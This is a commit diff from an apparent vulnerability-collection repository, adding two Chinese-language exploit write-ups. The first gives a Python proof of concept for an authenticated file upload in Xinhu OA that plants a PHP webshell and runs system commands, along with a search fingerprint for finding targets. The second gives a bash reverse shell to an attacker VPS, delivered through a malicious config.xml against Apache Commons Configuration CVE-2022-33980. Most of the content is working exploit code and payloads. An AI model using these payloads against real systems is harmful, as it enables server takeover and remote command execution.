Skip to content

Commit e253f02

Browse files
committed
1 parent 824f637 commit e253f02

6 files changed

Lines changed: 167 additions & 1 deletion

File tree

122 KB
Loading
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
# 信呼OA qcloudCosAction.php 任意文件上传漏洞
2+
3+
## 漏洞描述
4+
5+
信呼 OA <=v2.3.2 版本在`webmain\task\runt\qcloudCosAction.php`云存储下调用了`qcloudCosClassAction`方法,导致文件上传漏洞。通过该漏洞,攻击者可突破上传限制,上传 php 文件获取服务器shell。
6+
7+
利用前提是已经获取了用户名/登陆口令。
8+
9+
参考链接:
10+
11+
- https://github.com/rainrocka/xinhu
12+
13+
## 漏洞影响
14+
15+
```
16+
信呼OA <= 2.3.2
17+
```
18+
19+
## 网络测绘
20+
21+
```
22+
app="信呼协同办公系统"
23+
```
24+
25+
## 漏洞复现
26+
27+
登陆页面:
28+
29+
![](images/信呼OA%20qcloudCosAction.php%20任意文件上传漏洞/image-20240124101156480.png)
30+
31+
登陆系统,找到上传点:
32+
33+
```
34+
任务资源 → 文件传送 → 相关文件
35+
```
36+
37+
上传1.php,记录filepath和id:
38+
39+
```
40+
POST /index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=769871 HTTP/1.1
41+
Host: www.xinhu2.com
42+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
43+
Accept: */*
44+
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
45+
Accept-Encoding: gzip, deflate
46+
Content-Type:multipart/form-data; boundary=
47+
---------------------------40605609116060410203660967062
48+
Content-Length: 250
49+
Origin: http://www.xinhu2.com
50+
Connection: close
51+
Referer:http://www.xinhu2.com/index.php?m=upload&d=public&callback=&upkey=20220513091317429617&showid=fileidview
52+
Cookie:deviceid=1650359786139;xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03;xinhu_ca_adminuser=admin;xinhu_ca_rempass=0;PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
53+
-----------------------------40605609116060410203660967062
54+
Content-Disposition: form-data; name="file"; filename="1.php"
55+
Content-Type: application/octet-stream
56+
57+
<?php phpinfo(); ?>
58+
59+
-----------------------------40605609116060410203660967062--
60+
```
61+
62+
查看1.php是否上传成功:
63+
64+
```
65+
GET /task.php?m=qcloudCos|runt&a=run&fileid=9 HTTP/1.1
66+
Host: www.xinhu2.com
67+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
68+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
69+
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
70+
Accept-Encoding: gzip, deflate
71+
Connection: close
72+
Cookie: deviceid=1650359786139; xinhu_mo_adminid=ye0xhh0xte0lp0yy0xtj0xtb0xtv0yy0xxt0jt0xtb0ye0yx0yp0le03; xinhu_ca_adminuser=admin; xinhu_ca_rempass=0; PHPSESSID=hp2qfqngssh75ij0r8j8kg6f47
73+
Upgrade-Insecure-Requests: 1
74+
```
75+
76+
上传后路径:
77+
78+
```
79+
http://<IP>/upload/2024-01/23_16071247.php
80+
```
81+
82+
## 漏洞POC
83+
84+
poc.py
85+
86+
```python
87+
# 1.php为webshell
88+
89+
# 需要修改以下内容:
90+
# url_pre = 'http://<IP>/'
91+
# 'adminuser': '<ADMINUSER_BASE64>',
92+
# 'adminpass': '<ADMINPASS_BASE64>',
93+
94+
import requests
95+
96+
session = requests.session()
97+
url_pre = 'http://<IP>/'
98+
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
99+
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
100+
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
101+
data1 = {
102+
'rempass': '0',
103+
'jmpass': 'false',
104+
'device': '1625884034525',
105+
'ltype': '0',
106+
'adminuser': '<ADMINUSER_BASE64>',
107+
'adminpass': '<ADMINPASS_BASE64>',
108+
'yanzm': ''
109+
}
110+
111+
r = session.post(url1, data=data1)
112+
r = session.post(url2, files={'file': open('1.php', 'r+')})
113+
filepath = str(r.json()['filepath'])
114+
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
115+
print(filepath)
116+
id = r.json()['id']
117+
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
118+
r = session.get(url3)
119+
r = session.get(url_pre + filepath + "?1=system('dir');")
120+
print(r.text)
121+
```
Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
# Apache Commons Configuration 远程命令执行漏洞 CVE-2022-33980
2+
3+
## 漏洞描述
4+
5+
Apache Commons Configuration 是 Apache 基金会下的一个开源项目组件。它提供了一种通用的方式,让 Java 开发者可以使用统一的接口读取不同类型的配置文件。
6+
7+
该漏洞是由于 Apache Commons Configuration 提供的 Configuration 变量解释功能存在缺陷,攻击者可利用该漏洞在特定情况下,构造恶意数据执行远程代码。
8+
9+
## 漏洞影响
10+
11+
```
12+
2.4 <= Apache Commons Configuration <=2.7
13+
```
14+
15+
## 漏洞复现
16+
17+
java payload:
18+
19+
```
20+
# bash -i >& /dev/tcp/your-vps-ip/port 0>&1
21+
bash -c {echo,<YOUR_PAYLOAD_HERE>}|{base64,-d}|{bash,-i}
22+
```
23+
24+
config.xml:
25+
26+
```
27+
<?xml version="1.0" encoding="ISO-8859-1" ?>
28+
<configuration>
29+
<path>${script:js:java.lang.Runtime.getRuntime().exec("bash -c {echo,<YOUR_PAYLOAD_HERE>}|{base64,-d}|{bash,-i}")}</path>
30+
</configuration>
31+
```
32+
33+
vps开启8888端口托管config.xml:
34+
35+
```
36+
python -m http.server 8888
37+
```
38+
39+
poc:
40+
41+
```
42+
http://vuln-ip/Url?url=http://your-vps-ip:8888/config.xml&data=path
43+
```
44+
45+
![](images/Apache%20Commons%20Configuration%20远程命令执行漏洞%20CVE-2022-33980/image-20240126181851899.png)
63.5 KB
Loading

开发语言漏洞/GO TLS握手 崩溃漏洞 CVE-2021-34558.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ Go Version < (1.16.6+)
1212

1313
## 漏洞复现
1414

15-
<img src="images/202205201317475.png" alt="image-20220520131711402" style="zoom:67%;" />
15+
![](images/202205201317475.png)
1616

1717
将会生成 https 服务,此时当版本较低时就会产生崩溃,例如部分扫描器对目标进行扫描时
1818

110 KB
Loading

0 commit comments

Comments
 (0)